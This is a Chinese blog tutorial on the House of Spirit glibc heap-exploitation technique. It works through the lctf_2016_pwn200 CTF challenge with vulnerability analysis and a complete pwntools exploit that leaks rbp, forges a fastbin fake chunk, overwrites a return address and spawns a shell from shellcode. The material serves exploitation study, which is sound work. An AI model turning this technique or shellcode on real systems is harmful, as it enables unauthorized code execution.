<!DOCTYPE html><html lang="zh-CN" data-theme="light"><head><meta charset="UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width,initial-scale=1"><title>House of Spirit学习 | Icey's Blog</title><meta name="keywords" content="pwn,how2heap"><meta name="author" content="1c3y"><meta name="copyright" content="1c3y"><meta name="format-detection" content="telephone=no"><meta name="theme-color" content="#ffffff"><meta name="description" content="前置知识House of Spirit是组合型的漏洞利用，它是指针覆盖和堆管理机制的组合利用。该技术的核心在于在目标位置处伪造fastbin chunk，并将其释放，从而达到分配指定地址的chunk的目的。要构造fastbin fake chunk，并且将其释放时，可以将其放入到对应的fastbin链表中，需要绕过一些必要的检测，即：  fake chunk 的 ISMMAP 位不能为1，因为 f">
<meta property="og:type" content="article">
<meta property="og:title" content="House of Spirit学习">
<meta property="og:url" content="http://example.com/2021/03/20/House%20of%20Spirit%E5%AD%A6%E4%B9%A0/index.html">
<meta property="og:site_name" content="Icey&#39;s Blog">
<meta property="og:description" content="前置知识House of Spirit是组合型的漏洞利用，它是指针覆盖和堆管理机制的组合利用。该技术的核心在于在目标位置处伪造fastbin chunk，并将其释放，从而达到分配指定地址的chunk的目的。要构造fastbin fake chunk，并且将其释放时，可以将其放入到对应的fastbin链表中，需要绕过一些必要的检测，即：  fake chunk 的 ISMMAP 位不能为1，因为 f">
<meta property="og:locale" content="zh_CN">
<meta property="og:image" content="https://i.loli.net/2021/03/21/pB2PXv3LnAsYNMO.jpg">
<meta property="article:published_time" content="2021-03-20T06:49:00.000Z">
<meta property="article:modified_time" content="2021-03-28T08:26:53.708Z">
<meta property="article:author" content="1c3y">
<meta property="article:tag" content="pwn">
<meta property="article:tag" content="how2heap">
<meta name="twitter:card" content="summary">
<meta name="twitter:image" content="https://i.loli.net/2021/03/21/pB2PXv3LnAsYNMO.jpg"><link rel="shortcut icon" href="/img/favicon.png"><link rel="canonical" href="http://example.com/2021/03/20/House%20of%20Spirit%E5%AD%A6%E4%B9%A0/"><link rel="preconnect" href="//cdn.jsdelivr.net"/><link rel="preconnect" href="//busuanzi.ibruce.info"/><link rel="stylesheet" href="/css/index.css"><link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/@fortawesome/fontawesome-free/css/all.min.css" media="print" onload="this.media='all'"><script>const GLOBAL_CONFIG = { 
  root: '/',
  algolia: undefined,
  localSearch: undefined,
  translate: undefined,
  noticeOutdate: undefined,
  highlight: {"plugin":"highlighjs","highlightCopy":true,"highlightLang":true,"highlightHeightLimit":false},
  copy: {
    success: '复制成功',
    error: '复制错误',
    noSupport: '浏览器不支持'
  },
  relativeDate: {
    homepage: false,
    post: false
  },
  runtime: '',
  date_suffix: {
    just: '刚刚',
    min: '分钟前',
    hour: '小时前',
    day: '天前',
    month: '个月前'
  },
  copyright: undefined,
  lightbox: 'fancybox',
  Snackbar: undefined,
  source: {
    jQuery: 'https://cdn.jsdelivr.net/npm/jquery@latest/dist/jquery.min.js',
    justifiedGallery: {
      js: 'https://cdn.jsdelivr.net/npm/justifiedGallery/dist/js/jquery.justifiedGallery.min.js',
      css: 'https://cdn.jsdelivr.net/npm/justifiedGallery/dist/css/justifiedGallery.min.css'
    },
    fancybox: {
      js: 'https://cdn.jsdelivr.net/npm/@fancyapps/fancybox@latest/dist/jquery.fancybox.min.js',
      css: 'https://cdn.jsdelivr.net/npm/@fancyapps/fancybox@latest/dist/jquery.fancybox.min.css'
    }
  },
  isPhotoFigcaption: false,
  islazyload: false,
  isanchor: false
}</script><script id="config-diff">var GLOBAL_CONFIG_SITE = { 
  isPost: true,
  isHome: false,
  isHighlightShrink: false,
  isToc: true,
  postUpdate: '2021-03-28 16:26:53'
}</script><noscript><style type="text/css">
  #nav {
    opacity: 1
  }
  .justified-gallery img {
    opacity: 1
  }

  #recent-posts time,
  #post-meta time {
    display: inline !important
  }
</style></noscript><script>(win=>{
    win.saveToLocal = {
      set: function setWithExpiry(key, value, ttl) {
        if (ttl === 0) return
        const now = new Date()
        const expiryDay = ttl * 86400000
        const item = {
          value: value,
          expiry: now.getTime() + expiryDay,
        }
        localStorage.setItem(key, JSON.stringify(item))
      },

      get: function getWithExpiry(key) {
        const itemStr = localStorage.getItem(key)

        if (!itemStr) {
          return undefined
        }
        const item = JSON.parse(itemStr)
        const now = new Date()

        if (now.getTime() > item.expiry) {
          localStorage.removeItem(key)
          return undefined
        }
        return item.value
      }
    }
  
    win.getScript = url => new Promise((resolve, reject) => {
      const script = document.createElement('script')
      script.src = url
      script.async = true
      script.onerror = reject
      script.onload = script.onreadystatechange = function() {
        const loadState = this.readyState
        if (loadState && loadState !== 'loaded' && loadState !== 'complete') return
        script.onload = script.onreadystatechange = null
        resolve()
      }
      document.head.appendChild(script)
    })
  
      win.activateDarkMode = function () {
        document.documentElement.setAttribute('data-theme', 'dark')
        if (document.querySelector('meta[name="theme-color"]') !== null) {
          document.querySelector('meta[name="theme-color"]').setAttribute('content', '#0d0d0d')
        }
      }
      win.activateLightMode = function () {
        document.documentElement.setAttribute('data-theme', 'light')
        if (document.querySelector('meta[name="theme-color"]') !== null) {
          document.querySelector('meta[name="theme-color"]').setAttribute('content', '#ffffff')
        }
      }
      const t = saveToLocal.get('theme')
    
          if (t === 'dark') activateDarkMode()
          else if (t === 'light') activateLightMode()
        
      const asideStatus = saveToLocal.get('aside-status')
      if (asideStatus !== undefined) {
        if (asideStatus === 'hide') {
          document.documentElement.classList.add('hide-aside')
        } else {
          document.documentElement.classList.remove('hide-aside')
        }
      }
    })(window)</script><meta name="generator" content="Hexo 5.4.0"><link rel="alternate" href="/atom.xml" title="Icey's Blog" type="application/atom+xml">
</head><body><div id="sidebar"><div id="menu-mask"></div><div id="sidebar-menus"><div class="author-avatar"><img class="avatar-img" src="http://p.ananas.chaoxing.com/star3/origin/e79248a96a8b9a9f4c51e2e7beaabc5c.png" onerror="onerror=null;src='/img/friend_404.gif'" alt="avatar"/></div><div class="site-data"><div class="data-item is-center"><div class="data-item-link"><a href="/archives/"><div class="headline">文章</div><div class="length-num">7</div></a></div></div><div class="data-item is-center"><div class="data-item-link"><a href="/tags/"><div class="headline">标签</div><div class="length-num">3</div></a></div></div><div class="data-item is-center"><div class="data-item-link"><a href="/categories/"><div class="headline">分类</div><div class="length-num">2</div></a></div></div></div><hr/><div class="menus_items"><div class="menus_item"><a class="site-page" href="/"><i class="fa-fw fas fa-home"></i><span> Home</span></a></div><div class="menus_item"><a class="site-page" href="/archives/"><i class="fa-fw fas fa-archive"></i><span> Archives</span></a></div><div class="menus_item"><a class="site-page" href="/tags/"><i class="fa-fw fas fa-tags"></i><span> Tags</span></a></div><div class="menus_item"><a class="site-page" href="/categories/"><i class="fa-fw fas fa-folder-open"></i><span> Categories</span></a></div></div></div></div><div class="post" id="body-wrap"><header class="post-bg" id="page-header" style="background-image: url('https://i.loli.net/2021/03/21/pB2PXv3LnAsYNMO.jpg')"><nav id="nav"><span id="blog_name"><a id="site-name" href="/">Icey's Blog</a></span><div id="menus"><div class="menus_items"><div class="menus_item"><a class="site-page" href="/"><i class="fa-fw fas fa-home"></i><span> Home</span></a></div><div class="menus_item"><a class="site-page" href="/archives/"><i class="fa-fw fas fa-archive"></i><span> Archives</span></a></div><div class="menus_item"><a class="site-page" href="/tags/"><i class="fa-fw fas fa-tags"></i><span> Tags</span></a></div><div class="menus_item"><a class="site-page" href="/categories/"><i class="fa-fw fas fa-folder-open"></i><span> Categories</span></a></div></div><div id="toggle-menu"><a class="site-page"><i class="fas fa-bars fa-fw"></i></a></div></div></nav><div id="post-info"><h1 class="post-title">House of Spirit学习</h1><div id="post-meta"><div class="meta-firstline"><span class="post-meta-date"><i class="far fa-calendar-alt fa-fw post-meta-icon"></i><span class="post-meta-label">发表于</span><time class="post-meta-date-created" datetime="2021-03-20T06:49:00.000Z" title="发表于 2021-03-20 14:49:00">2021-03-20</time><span class="post-meta-separator">|</span><i class="fas fa-history fa-fw post-meta-icon"></i><span class="post-meta-label">更新于</span><time class="post-meta-date-updated" datetime="2021-03-28T08:26:53.708Z" title="更新于 2021-03-28 16:26:53">2021-03-28</time></span><span class="post-meta-categories"><span class="post-meta-separator">|</span><i class="fas fa-inbox fa-fw post-meta-icon"></i><a class="post-meta-categories" href="/categories/%E4%BA%8C%E8%BF%9B%E5%88%B6%E6%BC%8F%E6%B4%9E/">二进制漏洞</a></span></div><div class="meta-secondline"><span class="post-meta-separator">|</span><span class="post-meta-pv-cv" id="" data-flag-title="House of Spirit学习"><i class="far fa-eye fa-fw post-meta-icon"></i><span class="post-meta-label">阅读量:</span><span id="busuanzi_value_page_pv"></span></span></div></div></div></header><main class="layout" id="content-inner"><div id="post"><article class="post-content" id="article-container"><h1 id="前置知识"><a href="#前置知识" class="headerlink" title="前置知识"></a>前置知识</h1><p>House of Spirit是组合型的漏洞利用，它是指针覆盖和堆管理机制的组合利用。该技术的核心在于在目标位置处伪造fastbin chunk，并将其释放，从而达到分配<strong>指定地址</strong>的chunk的目的。<br>要构造fastbin fake chunk，并且将其释放时，可以将其放入到对应的fastbin链表中，需要绕过一些必要的检测，即：</p>
<ul>
<li>fake chunk 的 ISMMAP 位不能为1，因为 free 时，如果是 mmap 的 chunk，会单独处理。</li>
<li>fake chunk 地址需要对齐， MALLOC_ALIGN_MASK</li>
<li>fake chunk 的 size 大小需要满足对应的 fastbin 的需求，同时也得对齐。</li>
<li>fake chunk 的 next chunk 的大小不能小于 <strong>2 * SIZE_SZ</strong>，同时也不能大于<strong>av-&gt;system_mem</strong> 。</li>
<li>fake chunk 对应的 fastbin 链表头部不能是该 fake chunk，即不能构成 double free 的情况。</li>
</ul>
<hr>
<h1 id="利用场景"><a href="#利用场景" class="headerlink" title="利用场景"></a>利用场景</h1><ul>
<li>想要利用的目标区域的前段空间和后段空间都是可控的区域。<strong>一般来说想要控制的区域多为返回地址或函数指针，正常情况下，该内存区域我们是无法通过输入数据来进行控制的，为了利用hos技术来改写该区域，我们需要前段空间和后段空间均可控。</strong></li>
<li>存在堆变量指针覆盖指向可控区域</li>
</ul>
<table>
<thead>
<tr>
<th>HOS</th>
</tr>
</thead>
<tbody><tr>
<td>前段空间</td>
</tr>
<tr>
<td><strong>目标区域</strong></td>
</tr>
<tr>
<td>后段空间</td>
</tr>
</tbody></table>
<hr>
<h1 id="例题：lctf-2016-pwn200"><a href="#例题：lctf-2016-pwn200" class="headerlink" title="例题：lctf_2016_pwn200"></a>例题：lctf_2016_pwn200</h1><h2 id="静态分析"><a href="#静态分析" class="headerlink" title="静态分析"></a>静态分析</h2><h3 id="checksec"><a href="#checksec" class="headerlink" title="checksec"></a>checksec</h3><p><img src="https://gitee.com/see1c3y/buuctf/raw/master/HOS_learning/checksec.png"><br>关闭了栈不可执行，可以写入shellcode。</p>
<h2 id="IDA"><a href="#IDA" class="headerlink" title="IDA"></a>IDA</h2><h3 id="welcome函数"><a href="#welcome函数" class="headerlink" title="welcome函数"></a>welcome函数</h3><p><img src="https://gitee.com/see1c3y/buuctf/raw/master/HOS_learning/welcome.png"><br>这里存在off-by-one漏洞，如果输入48个字符，printf不会检测到 <strong>\x00</strong> 的存在，而v2紧接着就是rbp，可以泄露rbp地址。</p>
<h3 id="input-money-and-menu函数"><a href="#input-money-and-menu函数" class="headerlink" title="input_money_and_menu函数"></a>input_money_and_menu函数</h3><p><img src="https://gitee.com/see1c3y/buuctf/raw/master/HOS_learning/moneyR.png"><br>先申请0x40大小的内存空间，并将malloc指针赋给dest；再向缓冲区读入内容，并将内容复制到dest指向的内存中，最后将dest指针赋给全局变量ptr。<br>这里buf和dest存在<strong>相邻变量覆盖</strong>，输入buf的内容会将dest覆盖掉。如下图所示：<br><img src="https://gitee.com/see1c3y/buuctf/raw/master/HOS_learning/buf_and_dest7.png"></p>
<h3 id="heap-management函数"><a href="#heap-management函数" class="headerlink" title="heap_management函数"></a>heap_management函数</h3><p><img src="https://gitee.com/see1c3y/buuctf/raw/master/HOS_learning/heap_mana.png"></p>
<ul>
<li>1.check in</li>
<li>2.check out</li>
<li>3.goodbye</li>
</ul>
<h4 id="check-in"><a href="#check-in" class="headerlink" title="check in"></a>check in</h4><p><img src="https://gitee.com/see1c3y/buuctf/raw/master/HOS_learning/in.png"><br>会先检查ptr是否为空，如果不为空，会根据输入的大小和内容创建一个新的堆块</p>
<h4 id="check-out"><a href="#check-out" class="headerlink" title="check out"></a>check out</h4><p><img src="https://gitee.com/see1c3y/buuctf/raw/master/HOS_learning/out.png"><br>释放堆块并置NULL</p>
<h2 id="利用思路"><a href="#利用思路" class="headerlink" title="利用思路"></a>利用思路</h2><h3 id="栈帧的具体情况如下："><a href="#栈帧的具体情况如下：" class="headerlink" title="栈帧的具体情况如下："></a>栈帧的具体情况如下：</h3><table>
<thead>
<tr>
<th></th>
<th></th>
</tr>
</thead>
<tbody><tr>
<td><strong>input_money_and_menu栈帧</strong></td>
<td><strong>buf</strong></td>
</tr>
<tr>
<td></td>
<td><strong>buf</strong></td>
</tr>
<tr>
<td></td>
<td><strong>dest</strong></td>
</tr>
<tr>
<td></td>
<td><strong>old rbp</strong></td>
</tr>
<tr>
<td><strong>welcome栈帧</strong></td>
<td><strong>input_money_and_menu ret</strong></td>
</tr>
<tr>
<td></td>
<td>……</td>
</tr>
<tr>
<td></td>
<td><strong>id</strong></td>
</tr>
<tr>
<td></td>
<td><strong>v2(name)</strong></td>
</tr>
<tr>
<td></td>
<td><strong>old rbp</strong></td>
</tr>
<tr>
<td><strong>main栈帧</strong></td>
<td><strong>welcome ret</strong></td>
</tr>
<tr>
<td></td>
<td><strong>…</strong></td>
</tr>
<tr>
<td></td>
<td><strong>old rbp</strong></td>
</tr>
<tr>
<td><strong>start栈帧</strong></td>
<td><strong>main ret</strong></td>
</tr>
</tbody></table>
<h3 id="思路"><a href="#思路" class="headerlink" title="思路"></a>思路</h3><ul>
<li>在输入name的时候，将shellcode部署在name的位置，并调整好填充大小，以便泄露rbp地址</li>
<li>得到rbp地址后可以得到栈上的地址，shellcode和fake_chunk的地址就可以根据偏移得到</li>
<li>在输入buf的时候部署好fake chunk，同时注意绕过条件，并利用相邻地址覆盖将dest覆盖为fake chunk的地址，这样ptr也指向了fake chunk。这里fake chunk的大小要包括rbp和<strong>input_money_and_menu ret</strong>，方便后续修改</li>
<li>check out释放fake chunk，然后check in申请一个堆块，这样rbp和<strong>input_money_and_menu ret</strong>就可以为我们所用了，将shellcode addr写入ret，退出程序时就可以<strong>getshell</strong></li>
</ul>
<h2 id="动态调试"><a href="#动态调试" class="headerlink" title="动态调试"></a>动态调试</h2><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line">ru(<span class="string">&#x27;who are u?\n&#x27;</span>)</span><br><span class="line">payload = shellcode</span><br><span class="line">payload = payload.ljust(<span class="number">0x30</span>)</span><br><span class="line">s(payload)</span><br><span class="line">ru(payload)</span><br><span class="line"></span><br><span class="line">leak_addr = u64(r(<span class="number">6</span>).ljust(<span class="number">8</span>,<span class="string">&#x27;\x00&#x27;</span>))</span><br><span class="line">log.success(<span class="string">&#x27;rbp: 0x%x&#x27;</span> % leak_addr)</span><br><span class="line"></span><br><span class="line">ru(<span class="string">&#x27;give me your id ~~?\n&#x27;</span>)</span><br><span class="line">sl(<span class="string">&#x27;32&#x27;</span>)</span><br><span class="line"></span><br><span class="line">shellcode_addr = leak_addr - <span class="number">0x50</span></span><br><span class="line">fake_chunk_addr = leak_addr - <span class="number">0x90</span></span><br><span class="line">ru(<span class="string">&#x27;give me money~\n&#x27;</span>)</span><br><span class="line"><span class="comment"># payload = p64(0)*4 + p64(0) + p64(0x41) + p64(0) + p64(fake_chunk_addr)</span></span><br><span class="line">payload = <span class="string">&#x27;b&#x27;</span>*<span class="number">0x20</span></span><br><span class="line">s(payload)</span><br><span class="line">debug()</span><br></pre></td></tr></table></figure>
<p>leak得到rbp地址后，看下shellcode和要部署的fake chunk的data段地址的偏移：<br><img src="https://gitee.com/see1c3y/buuctf/raw/master/HOS_learning/offsetR.png"></p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">shellcode_addr = leak_addr - <span class="number">0x50</span></span><br><span class="line">fake_chunk_addr = leak_addr - <span class="number">0x90</span></span><br></pre></td></tr></table></figure>

<p>后面就不难了，按照利用思路一步一步走就可以了（其实是懒得写了XD</p>
<h2 id="EXP"><a href="#EXP" class="headerlink" title="EXP"></a>EXP</h2><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span>*</span><br><span class="line"><span class="keyword">from</span> sys <span class="keyword">import</span> argv</span><br><span class="line"></span><br><span class="line">context.log_level = <span class="string">&#x27;debug&#x27;</span></span><br><span class="line">context.terminal = [<span class="string">&#x27;tmux&#x27;</span>,<span class="string">&#x27;splitw&#x27;</span>,<span class="string">&#x27;-h&#x27;</span>]</span><br><span class="line">binary = <span class="string">&#x27;./lctf_2016_pwn200&#x27;</span></span><br><span class="line">context.binary = binary</span><br><span class="line">elf = ELF(binary,checksec=<span class="literal">False</span>)</span><br><span class="line">shellcode = asm(shellcraft.amd64.linux.sh(), arch=<span class="string">&#x27;amd64&#x27;</span>)</span><br><span class="line">p = remote(<span class="string">&#x27;&#x27;</span>,<span class="string">&#x27;&#x27;</span>) <span class="keyword">if</span> args[<span class="number">1</span>] == <span class="string">&#x27;r&#x27;</span> <span class="keyword">else</span> process(binary) </span><br><span class="line"></span><br><span class="line">s       = <span class="keyword">lambda</span> data               :p.send(<span class="built_in">str</span>(data))</span><br><span class="line">sa      = <span class="keyword">lambda</span> delim,data         :p.sendafter(delim, <span class="built_in">str</span>(data))</span><br><span class="line">sl      = <span class="keyword">lambda</span> data               :p.sendline(<span class="built_in">str</span>(data))</span><br><span class="line">sla     = <span class="keyword">lambda</span> delim,data         :p.sendlineafter(delim, <span class="built_in">str</span>(data))</span><br><span class="line">r       = <span class="keyword">lambda</span> num=<span class="number">4096</span>           :p.recv(num)</span><br><span class="line">ru      = <span class="keyword">lambda</span> delims, drop=<span class="literal">True</span>  :p.recvuntil(delims, drop)</span><br><span class="line">uu64    = <span class="keyword">lambda</span> data               :u64(data.ljust(<span class="number">8</span>,<span class="string">&#x27;\0&#x27;</span>))</span><br><span class="line">leak    = <span class="keyword">lambda</span> name,addr          :log.success(<span class="string">&#x27;&#123;&#125; = &#123;:#x&#125;&#x27;</span>.<span class="built_in">format</span>(name, addr))</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">debug</span>():</span></span><br><span class="line">    <span class="comment"># gdb.attach(p)</span></span><br><span class="line">    <span class="comment"># raw_input(&#x27;en..&#x27;)</span></span><br><span class="line">    <span class="built_in">print</span> <span class="string">&quot;pid &quot;</span> + <span class="built_in">str</span>(proc.pidof(p))</span><br><span class="line">    raw_input(<span class="string">&quot;attach me&quot;</span>)</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">exp</span>():</span></span><br><span class="line">    ru(<span class="string">&#x27;who are u?\n&#x27;</span>)</span><br><span class="line">    payload = shellcode</span><br><span class="line">    payload = payload.ljust(<span class="number">0x30</span>)</span><br><span class="line">    s(payload)</span><br><span class="line">    ru(payload)</span><br><span class="line"></span><br><span class="line">    leak_addr = u64(r(<span class="number">6</span>).ljust(<span class="number">8</span>,<span class="string">&#x27;\x00&#x27;</span>))</span><br><span class="line">    log.success(<span class="string">&#x27;rbp: 0x%x&#x27;</span> % leak_addr)</span><br><span class="line"></span><br><span class="line">    ru(<span class="string">&#x27;give me your id ~~?\n&#x27;</span>)</span><br><span class="line">    sl(<span class="string">&#x27;32&#x27;</span>)</span><br><span class="line"></span><br><span class="line">    shellcode_addr = leak_addr - <span class="number">0x50</span></span><br><span class="line">    fake_chunk_addr = leak_addr - <span class="number">0x90</span></span><br><span class="line">    ru(<span class="string">&#x27;give me money~\n&#x27;</span>)</span><br><span class="line">    payload = p64(<span class="number">0</span>)*<span class="number">4</span> + p64(<span class="number">0</span>) + p64(<span class="number">0x41</span>) + p64(<span class="number">0</span>) + p64(fake_chunk_addr)</span><br><span class="line">    s(payload)</span><br><span class="line"></span><br><span class="line">    ru(<span class="string">&#x27;\n=======EASY HOTEL========\n1. check in\n2. check out\n3. goodbye\nyour choice : &#x27;</span>)</span><br><span class="line">    sl(<span class="number">2</span>)</span><br><span class="line"></span><br><span class="line">    ru(<span class="string">&#x27;\n=======EASY HOTEL========\n1. check in\n2. check out\n3. goodbye\nyour choice : &#x27;</span>)</span><br><span class="line">    sl(<span class="number">1</span>)</span><br><span class="line"></span><br><span class="line">    ru(<span class="string">&#x27;how long?\n&#x27;</span>)</span><br><span class="line">    sl(<span class="string">&#x27;48&#x27;</span>)</span><br><span class="line">    p.recvline(<span class="string">&#x27;48&#x27;</span>)</span><br><span class="line">    payload = p64(<span class="number">0</span>)*<span class="number">3</span> + p64(shellcode_addr)</span><br><span class="line">    payload = payload.ljust(<span class="number">0x30</span>, <span class="string">&#x27;\x00&#x27;</span>)</span><br><span class="line">    s(payload)</span><br><span class="line">    <span class="comment"># debug()</span></span><br><span class="line"></span><br><span class="line">    ru(<span class="string">&#x27;\n=======EASY HOTEL========\n1. check in\n2. check out\n3. goodbye\nyour choice : &#x27;</span>)</span><br><span class="line">    sl(<span class="number">3</span>)</span><br><span class="line">    p.interactive()</span><br><span class="line">    <span class="comment"># debug()</span></span><br><span class="line"></span><br><span class="line">exp()</span><br></pre></td></tr></table></figure>
</article><div class="post-copyright"><div class="post-copyright__author"><span class="post-copyright-meta">文章作者: </span><span class="post-copyright-info"><a href="mailto:undefined">1c3y</a></span></div><div class="post-copyright__type"><span class="post-copyright-meta">文章链接: </span><span class="post-copyright-info"><a href="http://example.com/2021/03/20/House%20of%20Spirit%E5%AD%A6%E4%B9%A0/">http://example.com/2021/03/20/House%20of%20Spirit%E5%AD%A6%E4%B9%A0/</a></span></div><div class="post-copyright__notice"><span class="post-copyright-meta">版权声明: </span><span class="post-copyright-info">本博客所有文章除特别声明外，均采用 <a href="https://creativecommons.org/licenses/by-nc-sa/4.0/" target="_blank">CC BY-NC-SA 4.0</a> 许可协议。转载请注明来自 <a href="http://example.com" target="_blank">Icey's Blog</a>！</span></div></div><div class="tag_share"><div class="post-meta__tag-list"><a class="post-meta__tags" href="/tags/pwn/">pwn</a><a class="post-meta__tags" href="/tags/how2heap/">how2heap</a></div><div class="post_share"><div class="social-share" data-image="https://i.loli.net/2021/03/21/pB2PXv3LnAsYNMO.jpg" data-sites="facebook,twitter,wechat,weibo,qq"></div><link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/social-share.js/dist/css/share.min.css" media="print" onload="this.media='all'"><script src="https://cdn.jsdelivr.net/npm/social-share.js/dist/js/social-share.min.js" defer></script></div></div><nav class="pagination-post" id="pagination"><div class="prev-post pull-left"><a href="/2021/03/22/BUUOJ%E5%88%B7%E9%A2%98%E8%AE%B0%E5%BD%95%E8%A1%A5%E6%A1%A31/"><img class="prev-cover" src="https://i.loli.net/2021/03/21/2lRt7MpyxaGS8u4.jpg" onerror="onerror=null;src='/img/404.jpg'" alt="cover of previous post"><div class="pagination-info"><div class="label">上一篇</div><div class="prev_info">BUUOJ刷题记录补档-1</div></div></a></div><div class="next-post pull-right"><a href="/2021/03/14/%5BV&amp;N2020%20%E5%85%AC%E5%BC%80%E8%B5%9B%5DsimpleHeap/"><img class="next-cover" src="https://i.loli.net/2021/03/21/1WR5tiS8lsc9wXb.jpg" onerror="onerror=null;src='/img/404.jpg'" alt="cover of next post"><div class="pagination-info"><div class="label">下一篇</div><div class="next_info">V&amp;N2020 公开赛 simpleHeap</div></div></a></div></nav><div class="relatedPosts"><div class="headline"><i class="fas fa-thumbs-up fa-fw"></i><span> 相关推荐</span></div><div class="relatedPosts-list"><div><a href="/2021/03/28/Largebin attack学习/" title="Largebin attack学习"><img class="cover" src="https://i.loli.net/2021/03/21/mLYCNvXPnutGfBI.jpg" alt="cover"><div class="content is-center"><div class="date"><i class="far fa-calendar-alt fa-fw"></i> 2021-03-28</div><div class="title">Largebin attack学习</div></div></a></div><div><a href="/2021/02/07/ciscn_2019_es_2/" title="ciscn_2019_es_2"><img class="cover" src="https://i.loli.net/2021/03/21/y2xBT68QnRUC3O9.jpg" alt="cover"><div class="content is-center"><div class="date"><i class="far fa-calendar-alt fa-fw"></i> 2021-02-07</div><div class="title">ciscn_2019_es_2</div></div></a></div><div><a href="/2021/03/14/[V&N2020 公开赛]simpleHeap/" title="V&N2020 公开赛 simpleHeap"><img class="cover" src="https://i.loli.net/2021/03/21/1WR5tiS8lsc9wXb.jpg" alt="cover"><div class="content is-center"><div class="date"><i class="far fa-calendar-alt fa-fw"></i> 2021-03-14</div><div class="title">V&N2020 公开赛 simpleHeap</div></div></a></div><div><a href="/2021/01/25/get_started_3dsctf_2016/" title="get_started_3dsctf_2016"><img class="cover" src="https://i.loli.net/2021/03/21/FpLYGZ5oVaXI4s9.jpg" alt="cover"><div class="content is-center"><div class="date"><i class="far fa-calendar-alt fa-fw"></i> 2021-01-25</div><div class="title">get_started_3dsctf_2016</div></div></a></div><div><a href="/2021/03/22/BUUOJ刷题记录补档1/" title="BUUOJ刷题记录补档-1"><img class="cover" src="https://i.loli.net/2021/03/21/2lRt7MpyxaGS8u4.jpg" alt="cover"><div class="content is-center"><div class="date"><i class="far fa-calendar-alt fa-fw"></i> 2021-03-22</div><div class="title">BUUOJ刷题记录补档-1</div></div></a></div></div></div></div><div class="aside-content" id="aside-content"><div class="card-widget card-info"><div class="card-info-avatar is-center"><img class="avatar-img" src="http://p.ananas.chaoxing.com/star3/origin/e79248a96a8b9a9f4c51e2e7beaabc5c.png" onerror="this.onerror=null;this.src='/img/friend_404.gif'" alt="avatar"/><div class="author-info__name">1c3y</div><div class="author-info__description">Welcome</div></div><div class="card-info-data"><div class="card-info-data-item is-center"><a href="/archives/"><div class="headline">文章</div><div class="length-num">7</div></a></div><div class="card-info-data-item is-center"><a href="/tags/"><div class="headline">标签</div><div class="length-num">3</div></a></div><div class="card-info-data-item is-center"><a href="/categories/"><div class="headline">分类</div><div class="length-num">2</div></a></div></div><a class="button--animated" id="card-info-btn" target="_blank" rel="noopener" href="https://github.com/xxxxxx"><i class="fab fa-github"></i><span>Follow Me</span></a></div><div class="card-widget card-announcement"><div class="item-headline"><i class="fas fa-bullhorn card-announcement-animation"></i><span>公告</span></div><div class="announcement_content">This is my Blog</div></div><div class="sticky_layout"><div class="card-widget" id="card-toc"><div class="item-headline"><i class="fas fa-stream"></i><span>目录</span></div><div class="toc-content"><ol class="toc"><li class="toc-item toc-level-1"><a class="toc-link" href="#%E5%89%8D%E7%BD%AE%E7%9F%A5%E8%AF%86"><span class="toc-number">1.</span> <span class="toc-text">前置知识</span></a></li><li class="toc-item toc-level-1"><a class="toc-link" href="#%E5%88%A9%E7%94%A8%E5%9C%BA%E6%99%AF"><span class="toc-number">2.</span> <span class="toc-text">利用场景</span></a></li><li class="toc-item toc-level-1"><a class="toc-link" href="#%E4%BE%8B%E9%A2%98%EF%BC%9Alctf-2016-pwn200"><span class="toc-number">3.</span> <span class="toc-text">例题：lctf_2016_pwn200</span></a><ol class="toc-child"><li class="toc-item toc-level-2"><a class="toc-link" href="#%E9%9D%99%E6%80%81%E5%88%86%E6%9E%90"><span class="toc-number">3.1.</span> <span class="toc-text">静态分析</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#checksec"><span class="toc-number">3.1.1.</span> <span class="toc-text">checksec</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#IDA"><span class="toc-number">3.2.</span> <span class="toc-text">IDA</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" 